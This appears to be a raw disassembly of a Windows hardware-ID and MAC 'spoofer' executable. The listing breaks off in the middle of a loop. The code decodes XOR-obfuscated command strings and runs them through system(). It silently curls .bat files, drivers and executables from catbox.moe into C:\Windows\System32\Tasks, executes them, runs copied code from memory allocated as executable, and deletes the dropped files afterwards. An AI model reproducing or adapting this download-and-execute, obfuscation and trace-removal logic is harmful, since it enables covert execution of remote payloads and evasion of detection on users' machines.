imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x14000dbc0
mov r8, rsi
mov rdx, r10
lea rcx, [rbp + 0x1a40]
call fcn.140023e40
nop
lea r8, [0x1400eb294]
mov rdx, rax
lea rcx, [rbp + 0x1a60]
call fcn.140023960
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x1a80]
call fcn.1400239d0
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x1aa0]
call fcn.140023960
mov rcx, rax
call fcn.140022f20
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x1aa0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x1a80]
call fcn.140022f30
nop
lea rcx, [rbp + 0x1a60]
call fcn.140022f30
nop
lea rcx, [rbp + 0x1a40]
call fcn.140022f30
nop
lea rcx, [rbp + 0x1a20]
call fcn.140022f30
nop
lea rcx, [rbp + 0x1a00]
call fcn.140022f30
mov edx, 4
lea rcx, [rbp + 0x1ac0]
call fcn.140005630
mov rdi, rax
mov edx, 4
lea rcx, [rbp + 0x1ae0]
call fcn.140005630
mov rsi, rax
lea rdx, [rbp + 0x5048]
lea rcx, [rsp + 0x4e]
call fcn.14001f2a0
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x14000de45
mov r8d, ebx
cmp r14d, 2
jl 0x14000de03
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov edx, dword [rbp + 0x68d0]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14000dd10
cmp r8d, 0x2d
jge 0x14000de45
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x14000de10
mov r8, rsi
mov rdx, r10
lea rcx, [rbp + 0x1b00]
call fcn.140023e40
nop
lea r8, [0x1400eb294]
mov rdx, rax
lea rcx, [rbp + 0x1b20]
call fcn.140023960
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x1b40]
call fcn.1400239d0
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x1b60]
call fcn.140023960
mov rcx, rax
call fcn.140022f20
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x1b60]
call fcn.140022f30
nop
lea rcx, [rbp + 0x1b40]
call fcn.140022f30
nop
lea rcx, [rbp + 0x1b20]
call fcn.140022f30
nop
lea rcx, [rbp + 0x1b00]
call fcn.140022f30
nop
lea rcx, [rbp + 0x1ae0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x1ac0]
call fcn.140022f30
mov edx, 4
lea rcx, [rbp + 0x1b80]
call fcn.140005630
mov rdi, rax
mov edx, 4
lea rcx, [rbp + 0x1ba0]
call fcn.140005630
mov rsi, rax
lea rdx, [rbp + 0x5078]
lea rcx, [rsp + 0x4f]
call fcn.14001f2e0
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x14000e090
cmp r14d, 2
jl 0x14000e04e
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov edx, dword [rbp + 0x68d0]
nop dword [rax + rax]
movd xmm2, ebx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rbx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add ebx, 8
lea rcx, [rcx + 8]
cmp ebx, 0x28
jl 0x14000df60
cmp ebx, 0x2d
jge 0x14000e090
movsxd r9, ebx
add r9, r10
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul ebx
add edx, ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, bl
xor byte [r9], cl
inc ebx
lea r9, [r9 + 1]
cmp ebx, 0x2d
jl 0x14000e060
mov r8, rsi
mov rdx, r10
lea rcx, [rbp + 0x1bc0]
call fcn.140023e40
nop
lea r8, [0x1400eb294]
mov rdx, rax
lea rcx, [rbp + 0x1be0]
call fcn.140023960
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x1c00]
call fcn.1400239d0
nop
lea r8, str.__NUL_2_1
mov rdx, rax
lea rcx, [rbp + 0x1c20]
call fcn.140023960
mov rcx, rax
call fcn.140022f20
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x1c20]
call fcn.140022f30
nop
lea rcx, [rbp + 0x1c00]
call fcn.140022f30
nop
lea rcx, [rbp + 0x1be0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x1bc0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x1ba0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x1b80]
call fcn.140022f30
lea rdx, str._i__Spoofing_Finished__2_2__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140023c20
lea rdx, str._i__Spoofing_MAC_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140023c20
lea rcx, str.C:WindowsSystem32Tasksmac.bat__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str._i__MAC_Successfully_Spoofed_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140023c20
mov edx, 0x1f4
mov ecx, edx
call qword [sym.imp.KERNEL32.dll_Beep]
lea rcx, [0x1400eb320]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str._i__Spoofing_Is_Finished_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140023c20
lea rdx, str._i__Closing_Spoofer__Re_open_to_check_serials_etc_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140023c20
lea rcx, str.pause_nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:WindowsSystem32Taskswinxsrcsv64.EXE
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.C:WindowsSystem32Taskswinxsrcsv64.sys
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.C:WindowsSystem32Tasksiqvw64e.sys
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.C:WindowsSystem32Tasksmac.bat
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.C:WindowsSystem32TasksVolumeid64.exe
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rcx, str.Spoofing_Gigabyte
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
lea rdx, str._i__Starting_the_first_part_of_spoofing__0_2__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140023c20
mov ecx, 0x9c4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.curl___silent_https:__files.catbox.moe_gv7xzv.bat___output_C:WindowsSystem32Tasksmac.bat__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl___silent_https:__files.catbox.moe_sdfbn8.sys___output_C:WindowsSystem32Taskswinxsrcsv64.EXE__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl___silent_https:__files.catbox.moe_n6i5j0.sys___output_C:WindowsSystem32Taskswinxsrcsv64.sys__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl___silent_https:__files.catbox.moe_j7goj8.sys___output_C:WindowsSystem32Tasksiqvw64e.sys__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl___silent_https:__files.catbox.moe_xre5ck___output_C:WindowsSystem32TasksVolumeid64.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x128]
call fcn.140022d20
mov r12, rax
mov edx, listen
lea rcx, [rbp + 0x1c40]
call fcn.140005630
mov rdi, rax
lea rdx, [rbp + 0x66c8]
lea rcx, [rsp + 0x50]
call fcn.14001e7a0
mov r10, rax
cmp byte [rax + 0x38], 0
je 0x14000e425
mov r8d, ebx
cmp esi, 2
jl 0x14000e3e3
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov edx, dword [rbp + 0x68d0]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x38
jl 0x14000e2f0
cmp r8d, 0x39
jge 0x14000e425
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x39
jl 0x14000e3f0
mov r8, rdi
mov rdx, r10
lea rcx, [rbp + 0x1c60]
call fcn.140023e40
nop
mov rcx, rax
call fcn.140022f20
mov qword [rbp + 0x130], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x68d0], xmm0
lea rax, [rbp + 0x69b8]
movabs r14, 0xff00ff00ff00ff00
mov qword [rbp + 0x68d8], r14
mov qword [rbp + 0x68e0], rax
mov r15, qword [rax]
xor r15, r14
mov qword [rbp + 0x68d0], r15
mov qword [rax], rbx
mov ecx, ebx
mov r13d, 3
lea rsi, [0x140023f70]
lea rdi, [0x140000000]
mov rax, qword [0x1401012c0]
test rax, rax
je 0x14000e4ce
mov rdx, rbx
cmp rax, rsi
je 0x14000e4bd
inc ecx
mov edx, ecx
mov rax, qword [rdi + rcx*8 + 0x1012c0]
test rax, rax
jne 0x14000e4a5
jmp 0x14000e4ce
mov r8, qword [rdi + rdx*8 + 0x100f90]
test r8, r8
jne 0x14000e5af
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14000e4f7
mov r8, rbx
jmp 0x14000e58e
mov rax, rsi
mov rcx, r8
mov rdx, r13
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14000e500
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140100f88]
mov qword [rdi + rax*8 + 0x1012c0], rsi
mov qword [rdi + rax*8 + 0x100f90], r8
inc rax
mov qword [0x140100f88], rax
lea rdx, [rbp + 0x130]
mov rcx, qword [r12]
call r8
nop
xor r15, r14
lea rax, [rbp + 0x69b8]
mov qword [rax], r15
lea rcx, [rbp + 0x1c60]
call fcn.140022f30
nop
lea rcx, [rbp + 0x1c40]
call fcn.140022f30
mov rdx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x138]
call fcn.140022d20
mov r12, rax
mov edx, listen
lea rcx, [rbp + 0x1c80]
call fcn.140005630
mov r15, rax
lea rdx, [rbp + 0x5dd8]
lea rcx, [rsp + 0x51]
call fcn.14001e7e0
mov r10, rax
cmp byte [rax + 0x37], 0
je 0x14000e773
mov r8d, ebx
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x14000e73e
mov edx, ebx
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov r8d, dword [rbp + 0x68d0]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x38
jl 0x14000e651
jmp 0x14000e773
mov r9, r10
mov eax, 0x1f7047dd
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x38
jl 0x14000e741
mov r8, r15
mov rdx, r10
lea rcx, [rbp + 0x1ca0]
call fcn.140023e40
nop
mov rcx, rax
call fcn.140022f20
mov qword [rbp + 0x140], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x68d0], xmm0
lea rax, [rbp + 0x69b8]
mov qword [rbp + 0x68d8], r14
mov qword [rbp + 0x68e0], rax
mov r15, qword [rax]
xor r15, r14
mov qword [rbp + 0x68d0], r15
mov qword [rax], rbx
mov ecx, ebx
mov rax, qword [0x1401012c0]
test rax, rax
je 0x14000e7fe
mov rdx, rbx
cmp rax, rsi
je 0x14000e7ed
inc ecx
mov edx, ecx
mov rax, qword [rdi + rcx*8 + 0x1012c0]
test rax, rax
jne 0x14000e7d5
jmp 0x14000e7fe
mov r8, qword [rdi + rdx*8 + 0x100f90]
test r8, r8
jne 0x14000e8df
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14000e827
mov r8, rbx
jmp 0x14000e8be
mov rax, rsi
mov rcx, r8
mov rdx, r13
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14000e830
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140100f88]
mov qword [rdi + rax*8 + 0x1012c0], rsi
mov qword [rdi + rax*8 + 0x100f90], r8
inc rax
mov qword [0x140100f88], rax
lea rdx, [rbp + 0x140]
mov rcx, qword [r12]
call r8
nop
xor r15, r14
lea rax, [rbp + 0x69b8]
mov qword [rax], r15
lea rcx, [rbp + 0x1ca0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x1c80]
call fcn.140022f30
mov rdx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x148]
call fcn.140022d20
mov r12, rax
mov edx, listen
lea rcx, [rbp + 0x1cc0]
call fcn.140005630
mov r15, rax
lea rdx, [rbp + 0x5e10]
lea rcx, [rsp + 0x52]
call fcn.14001e7e0
mov r10, rax
cmp byte [rax + 0x37], 0
je 0x14000eaa3
mov r8d, ebx
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x14000ea6e
mov edx, ebx
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov r8d, dword [rbp + 0x68d0]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x38
jl 0x14000e981
jmp 0x14000eaa3
mov r9, r10
mov eax, 0x1f7047dd
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x38
jl 0x14000ea71
mov r8, r15
mov rdx, r10
lea rcx, [rbp + 0x1ce0]
call fcn.140023e40
nop
mov rcx, rax
call fcn.140022f20
mov qword [rbp + 0x150], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x68d0], xmm0
lea rax, [rbp + 0x69b8]
mov qword [rbp + 0x68d8], r14
mov qword [rbp + 0x68e0], rax
mov r15, qword [rax]
xor r15, r14
mov qword [rbp + 0x68d0], r15
mov qword [rax], rbx
mov ecx, ebx
mov rax, qword [0x1401012c0]
test rax, rax
je 0x14000eb2e
mov rdx, rbx
cmp rax, rsi
je 0x14000eb1d
inc ecx
mov edx, ecx
mov rax, qword [rdi + rcx*8 + 0x1012c0]
test rax, rax
jne 0x14000eb05
jmp 0x14000eb2e
mov r8, qword [rdi + rdx*8 + 0x100f90]
test r8, r8
jne 0x14000ec0f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14000eb57
mov r8, rbx
jmp 0x14000ebee
mov rax, rsi
mov rcx, r8
mov rdx, r13
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14000eb60
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140100f88]
mov qword [rdi + rax*8 + 0x1012c0], rsi
mov qword [rdi + rax*8 + 0x100f90], r8
inc rax
mov qword [0x140100f88], rax
lea rdx, [rbp + 0x150]
mov rcx, qword [r12]
call r8
nop
xor r15, r14
lea rax, [rbp + 0x69b8]
mov qword [rax], r15
lea rcx, [rbp + 0x1ce0]
call fcn.140022f30
nop
lea rcx, [rbp + 0x1cc0]
call fcn.140022f30
mov rdx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x158]
call fcn.140022d20
mov r12, rax
mov edx, listen
lea rcx, [rbp + 0x1d00]
call fcn.140005630
mov r15, rax
lea rdx, [rbp + 0x5e48]
lea rcx, [rsp + 0x53]
call fcn.14001e820
mov r10, rax
cmp byte [rax + 0x37], 0
je 0x14000edd3
mov r8d, ebx
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x14000ed9e
mov edx, ebx
movdqa xmmword [rbp + 0x68d0], xmm10
mov rcx, rax
mov r8d, dword [rbp + 0x68d0]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm9
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
